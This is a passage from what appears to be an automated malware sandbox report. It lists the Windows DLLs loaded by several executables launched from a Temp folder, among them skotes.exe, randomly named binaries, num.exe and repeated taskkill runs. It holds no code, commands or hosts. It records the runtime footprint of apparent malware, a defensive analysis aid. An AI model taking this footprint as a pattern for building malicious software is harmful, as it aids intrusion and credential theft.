Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Section loaded: srvcli.dll
